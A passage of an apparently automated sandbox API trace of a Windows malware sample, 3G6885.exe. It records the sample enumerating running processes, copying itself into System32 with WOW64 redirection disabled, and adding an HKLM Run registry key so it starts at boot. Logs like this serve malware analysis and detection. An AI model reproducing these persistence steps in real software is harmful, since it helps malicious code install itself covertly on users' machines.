szExeFile="svchost.exe")) returned 1 [0036.352] lstrlenW (lpString="svchost.exe") returned 11 [0036.352] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0036.353] lstrlenW (lpString="audiodg.exe") returned 11 [0036.353] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.353] lstrlenW (lpString="svchost.exe") returned 11 [0036.353] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.354] lstrlenW (lpString="svchost.exe") returned 11 [0036.354] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0036.354] lstrlenW (lpString="dwm.exe") returned 7 [0036.354] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0036.355] lstrlenW (lpString="explorer.exe") returned 12 [0036.355] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0036.355] lstrlenW (lpString="spoolsv.exe") returned 11 [0036.355] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0036.356] lstrlenW (lpString="taskhost.exe") returned 12 [0036.356] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.356] lstrlenW (lpString="svchost.exe") returned 11 [0036.356] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0036.357] lstrlenW (lpString="taskeng.exe") returned 11 [0036.357] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0036.357] lstrlenW (lpString="taskhost.exe") returned 12 [0036.357] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotesrouting.exe")) returned 1 [0036.358] lstrlenW (lpString="promotesrouting.exe") returned 19 [0036.358] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rxcalled.exe")) returned 1 [0036.358] lstrlenW (lpString="rxcalled.exe") returned 12 [0036.358] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="off.exe")) returned 1 [0036.360] lstrlenW (lpString="off.exe") returned 7 [0036.360] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mayorintl.exe")) returned 1 [0036.360] lstrlenW (lpString="mayorintl.exe") returned 13 [0036.360] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gzip-june.exe")) returned 1 [0036.361] lstrlenW (lpString="gzip-june.exe") returned 13 [0036.361] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsnavy.exe")) returned 1 [0036.361] lstrlenW (lpString="lsnavy.exe") returned 10 [0036.362] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing-scott-que.exe")) returned 1 [0036.362] lstrlenW (lpString="placing-scott-que.exe") returned 21 [0036.362] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifications.exe")) returned 1 [0036.363] lstrlenW (lpString="specifications.exe") returned 18 [0036.363] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soup-mario.exe")) returned 1 [0036.363] lstrlenW (lpString="soup-mario.exe") returned 14 [0036.363] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cultures-possession-please.exe")) returned 1 [0036.364] lstrlenW (lpString="cultures-possession-please.exe") returned 30 [0036.364] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="platformsprivate.exe")) returned 1 [0036.364] lstrlenW (lpString="platformsprivate.exe") returned 20 [0036.364] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valve tabs intelligent.exe")) returned 1 [0036.365] lstrlenW (lpString="valve tabs intelligent.exe") returned 26 [0036.365] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bangkok-updates.exe")) returned 1 [0036.365] lstrlenW (lpString="bangkok-updates.exe") returned 19 [0036.365] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scan-allows.exe")) returned 1 [0036.366] lstrlenW (lpString="scan-allows.exe") returned 15 [0036.366] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mwprovince.exe")) returned 1 [0036.366] lstrlenW (lpString="mwprovince.exe") returned 14 [0036.366] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hired_reality_again.exe")) returned 1 [0036.367] lstrlenW (lpString="hired_reality_again.exe") returned 23 [0036.367] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharonphonedebut.exe")) returned 1 [0036.367] lstrlenW (lpString="sharonphonedebut.exe") returned 20 [0036.367] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacting.exe")) returned 1 [0036.368] lstrlenW (lpString="contacting.exe") returned 14 [0036.368] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="continues_does_laos.exe")) returned 1 [0036.368] lstrlenW (lpString="continues_does_laos.exe") returned 23 [0036.368] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jpmanagers.exe")) returned 1 [0036.369] lstrlenW (lpString="jpmanagers.exe") returned 14 [0036.369] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="motor.exe")) returned 1 [0036.369] lstrlenW (lpString="motor.exe") returned 9 [0036.369] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="comboashleyalan.exe")) returned 1 [0036.370] lstrlenW (lpString="comboashleyalan.exe") returned 19 [0036.370] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toshiba.exe")) returned 1 [0036.370] lstrlenW (lpString="toshiba.exe") returned 11 [0036.370] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0036.371] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0036.371] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0036.371] lstrlenW (lpString="mobsync.exe") returned 11 [0036.372] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0036.372] lstrlenW (lpString="dllhost.exe") returned 11 [0036.372] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0036.373] lstrlenW (lpString="dllhost.exe") returned 11 [0036.373] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0036.373] lstrlenW (lpString="3G6885.exe") returned 10 [0036.373] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 0 [0036.374] CloseHandle (hObject=0xe0) returned 1 [0036.374] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d5268 | out: hHeap=0x5a0000) returned 1 [0036.374] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d52b0 | out: hHeap=0x5a0000) returned 1 [0036.374] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d52f8 | out: hHeap=0x5a0000) returned 1 [0036.374] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d5318 | out: hHeap=0x5a0000) returned 1 [0036.374] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d5360 | out: hHeap=0x5a0000) returned 1 [0036.374] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d4a00 | out: hHeap=0x5a0000) returned 1 [0036.374] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b4718 | out: hHeap=0x5a0000) returned 1 [0036.374] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b4750 | out: hHeap=0x5a0000) returned 1 [0036.374] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b4348 | out: hHeap=0x5a0000) returned 1 [0036.374] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b4370 | out: hHeap=0x5a0000) returned 1 [0036.374] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b4798 | out: hHeap=0x5a0000) returned 1 [0036.374] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b4398 | out: hHeap=0x5a0000) returned 1 [0036.374] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x5db428 [0036.375] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x5eb430 [0036.375] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d4a00 [0036.375] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d4a00, Size=0x20) returned 0x5b4398 [0036.375] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4398, Size=0x40) returned 0x5d69a8 [0036.375] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d4a00 [0036.375] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d4a00, Size=0x20) returned 0x5b4398 [0036.375] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d4a00 [0036.375] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d4a00, Size=0x20) returned 0x5b4370 [0036.375] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d4a00 [0036.375] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d4a00, Size=0x20) returned 0x5b4348 [0036.375] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4348, Size=0x40) returned 0x5d69f0 [0036.375] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5eb430, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3G6885.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3g6885.exe")) returned 0x30 [0036.375] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x5fb438 [0036.376] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x60b440 [0036.376] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d4a00 [0036.376] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d4a00, Size=0x20) returned 0x5b4348 [0036.376] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4348, Size=0x40) returned 0x5d6a38 [0036.376] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d6a38, Size=0x80) returned 0x5d5268 [0036.376] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d5268, Size=0x100) returned 0x5d7bb0 [0036.376] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0036.376] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d7bb0 | out: hHeap=0x5a0000) returned 1 [0036.376] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\3G6885.exe", lpDst=0x5fb438, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\3G6885.exe") returned 0x1f [0036.376] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60b440 | out: hHeap=0x5a0000) returned 1 [0036.376] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5fb438 | out: hHeap=0x5a0000) returned 1 [0036.376] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x2190020 [0036.377] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d4a00 [0036.377] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d4a00, Size=0x20) returned 0x5b4348 [0036.377] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d4a00 [0036.377] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d4a00, Size=0x20) returned 0x5d5930 [0036.377] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0036.377] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0036.377] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0036.377] lstrlenW (lpString="kernel32.dll") returned 12 [0036.377] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b4348 | out: hHeap=0x5a0000) returned 1 [0036.377] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.377] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d5930 | out: hHeap=0x5a0000) returned 1 [0036.377] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3G6885.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3g6885.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0036.377] CreateFileW (lpFileName="C:\\Windows\\System32\\3G6885.exe" (normalized: "c:\\windows\\system32\\3g6885.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0036.379] ReadFile (in: hFile=0xe0, lpBuffer=0x2190020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2190020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0036.394] WriteFile (in: hFile=0xe4, lpBuffer=0x2190020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2190020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0036.397] ReadFile (in: hFile=0xe0, lpBuffer=0x2190020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2190020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0036.397] CloseHandle (hObject=0xe4) returned 1 [0036.399] CloseHandle (hObject=0xe0) returned 1 [0036.400] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d4a00 [0036.400] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d4a00, Size=0x20) returned 0x5d5930 [0036.400] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d4a00 [0036.400] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d4a00, Size=0x20) returned 0x5d58e0 [0036.400] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0036.400] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0036.400] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0036.400] lstrlenW (lpString="kernel32.dll") returned 12 [0036.400] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d58e0 | out: hHeap=0x5a0000) returned 1 [0036.400] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.400] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d5930 | out: hHeap=0x5a0000) returned 1 [0036.400] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x2190020 | out: hHeap=0x5a0000) returned 1 [0036.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d4a00 [0036.407] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d4a00, Size=0x20) returned 0x5d5930 [0036.407] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d5930, Size=0x40) returned 0x5d6a38 [0036.407] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d6a38, Size=0x80) returned 0x5fb450 [0036.407] lstrlenW (lpString="C:\\Windows\\System32\\3G6885.exe") returned 30 [0036.407] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0036.407] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x5c) returned 0x5d5268 [0036.408] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0 [0036.408] RegSetValueExW (in: hKey=0xe0, lpValueName="3G6885.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\3G6885.exe", cbData=0x3c | out: lpData="C:\\Windows\\System32\\3G6885.exe") returned 0x0 [0036.409] RegCloseKey (hKey=0xe0) returned 0x0 [0036.409] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d5268 | out: hHeap=0x5a0000) returned 1 [0036.409] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0036.409] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5fb450 | out: hHeap=0x5a0000) returned 1 [0036.409] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x5fd438 [0036.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x60d440 [0036.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d4a00 [0036.410] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d4a00, Size=0x20) returned 0x5d5930 [0036.410] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d5930, Size=0x40) returned 0x5d6a38 [0036.410] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d6a38, Size=0x80) returned 0x5fb450 [0036.410] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5fb450, Size=0x100) returned 0x5d7bb0 [0036.410] lstrlenW (lpString="") returned 0 [0036.410] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0036.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8c) returned 0x5d7cb8 [0036.410] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe0) returned 0x0 [0036.410] RegQueryValueExW (in: hKey=0xe0, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x60d440, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x60d440*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0036.410] RegCloseKey (hKey=0xe0) returned 0x0 [0036.410] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d7cb8 | out: hHeap=0x5a0000) returned 1 [0036.410] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0036.410] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8c) returned 0x5d7cb8 